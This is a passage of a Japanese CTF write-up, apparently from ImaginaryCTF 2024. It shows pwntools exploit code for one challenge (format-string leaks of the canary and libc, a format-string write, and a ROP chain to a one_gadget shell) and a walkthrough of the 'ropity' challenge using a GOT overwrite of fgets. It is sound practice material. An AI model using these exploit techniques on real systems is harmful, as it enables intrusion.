# 0x8c87dec5
# payload = b"%100c%8$n"
payload = b"%6$p %7$p %17$p %25$p"
target.sendline(payload)
# "Book title --> $HEX\n"
r = target.recvline_startswith(b"Book title").decode()
hex_value = re.compile(r"(0x[0-9a-fA-F]{1,16})")
feedbeef_addr = int(re.findall(hex_value,r)[0],16) - 0x10
rand_val = int(re.findall(hex_value,r)[1],16) & 0xFFFF
leaked_canary = int(re.findall(hex_value,r)[2],16)
leaked_libc_start_main = int(re.findall(hex_value,r)[3],16)
libc_base = leaked_libc_start_main - 0x24083
val = (rand_val*0x13f5c223) & 0xFFFFFFFF
print(hex(feedbeef_addr),hex(rand_val),hex(val),hex(leaked_canary),hex(libc_base ))
target.sendline(b"y")
# Second chance
target.recvuntil(b"Enter book title: ")
payload = fmtstr_payload(offset=8, writes={feedbeef_addr:val},write_size="short")
target.sendline(payload)
pop_r12_ret = libc_base + 0x199212
one_gadget = libc_base + 0xe3afe
# Vuln func
target.recvuntil(b">")
payload = flat(
b"A"*0x68,
leaked_canary,
b"B"*0x8,
pop_r12_ret,
b"\x00"*8,
one_gadget
)
target.sendline(payload)
# Finish exploit
target.interactive()
target.clean()
これを実行すると正しい Flag を特定できます。
ropity(Pwn)
Just your typical ROP challenge
問題バイナリをデコンパイルしてみると、自明な BoF の存在する main 関数と printfile 関数が存在するのみの小さなバイナリでした。
また、問題バイナリを見たときに明らかに不自然に定義されているのはこの printfile 関数です。
この関数は引数として受け取ったファイルパスを使用して open システムコールでファイルディスクリプタを取得し、sendfile システムコールでその中身を print するコードのようです。
つまり、この printfile 関数の引数として flag.txt を設定できれば、正しい Flag を取得できそうです。
しかし、自明な BoF はあるものの、都合よく使える ROP Gadget がバイナリに存在していないためエクスプロイトに難航しました。
途中で fgets が読み取りに失敗した場合に NULL を返す使用を利用して、sutdown() を使用して rax に 0 を格納したりと色々試しましたが、結局 Flag の取得には至りませんでした。
ちなみに、このプログラムで使用している各システムコールの構造は以下のようになっています。
fgets(char *s, int size, FILE *stream)
open(const char *path, int oflag, ... )
sendfile(int out_fd, int in_fd, off_t * offset ", size_t" " count" )
参考:fgets(3): input of char/strings - Linux man page
参考:open(3): open file - Linux man page
参考:sendfile(2) - Linux man page
ここからは Writeup を参考にしながら解き進めてみます。
参考:My Writeups For ImaginaryCTF 2024! | Vaktibabat
今回のポイントは、rdi を操作できそうな箇所が fgets 関数呼び出し直前の mov rdi, rax
しかなさそうなところでした。
BoF でこのコードを悪用するにも、fgets 関数がついでに実行されてしまうので難しい、、、という風に思い込みがありました。
しかし、今回のバイナリは PIE が無効で GOT のオーバーライドが可能です。
そのため、そもそも fgets の GOT を書き換えてしまえば、rdi の操作を行った後に任意のコードを実行できそうです。
まず最初のステージでは、以下のコードを ROP で悪用して fgets により fgets の GOT をオーバーライドさせることを目指します。
mov rdx, qword [rel stdi]
lea rax, [rbp-0x8 {buf}]
mov esi, 0x100
mov rdi, rax {buf}
call fgets
fgets がコールされるとき、rdi には rbp-0x8
のアドレスに格納されている値が格納されます。
そのため、RBP の置換によって rbp-0x8
に改ざん対象の GOT のアドレスを埋め込むことで、fgets による GOT オーバーライドを成立させることができます。
実際に Flag を取得するためのエクスプロイトコードは以下のようになります。
call_fgets = 0x401142
call_printfile = 0x40115d
call_gmonstart = 0x404040
got_fgets = 0x404018
pop_rbp = 0x40119b
# First
payload = flat(
cyclic(16),
pop_rbp,
got_fgets+0x8,
call_fgets,
)
target.sendline(payload)
# Second
payload = flat(
call_printfile, # <- 0x404018
call_gmonstart, # <- 0x404020
call_fgets, # <- 0x404028
b"\x00"*8, # <- 0x404030
b"./flag.txt\x00" # <- 0x404038
)
target.sendline(payload)
ちなみに、pop rbp; ret
のガジェットを使用すると、RBP を任意の値に置き換えることができますが、その時点では RSP の値は変わらないので、スタックに埋め込んだ ROP ガジェットをそのまま使えます。
ただし、その後 leave が呼び出されるタイミングがある場合は、RBP が RSP に置き換えられたあと、RSP(元の RBP) が指すスタックトップが pop されて RBP に置き換えられます。
leave
↓
mov rsp, rbp
pop rbp
そのため、pop rbp; ret
のガジェットを使用する場合には leave の扱いに注意が必要です。
今回の場合、First stage のペイロードでは RDI に fgets の GOT アドレスを埋め込むところまでを行っています。
続く Second payload では、printfile 関数のアドレスを先頭に差し込んでいます。
これによって、今後 fgets がコールされる場合には、代わりに printfile がコールされるようになります。
fgets が呼び出された後 leave; ret
の命令があります。
この時点での RBP には got_fgets+0x8
の値である 0x404020 が格納されています。
つまり、leave 命令が呼び出された際にはまず 0x404020 が RSP になった後、スタックトップが pop されて RBP と置き換えられます。
0x404018 以降のアドレスには、call_printfile -> call_gmonstart -> call_fgets -> 0 -> b"./flag.txt\x00"
の順で値が格納されています。
そのため、leave 命令が呼び出された直後には RBP に call_gmonstart(0x404040)
がセットされ、RSP は元の RBP の値 + 0x8 である 0x404028 が格納されます。
ここでなぜ RBP に 0x404040 がセットされるようにスタックを調整しているかというと、この後 printfile 関数を呼び出す際に、RDI に b"./flag.txt\x00"
が埋め込まれているアドレスを指定したいからです。
この文字列は 0x404038 に配置されているので、RBP を 0x404040 とすることで lea rax, [rbp-0x8]; mov rdi, rax
のコードによって RDI に 0x404038 を格納させています。
これで、GOT オーバーライドを利用して printfile(*path, size)
をコールすることができるため、Flag を取得することができます。
まとめ
時間不足でチャレンジできずでしたが、Rev はもう数問解けそうでした。
今後は解ける問題を増やすだけでなく早解きも意識して練習していかないといけなさそうです。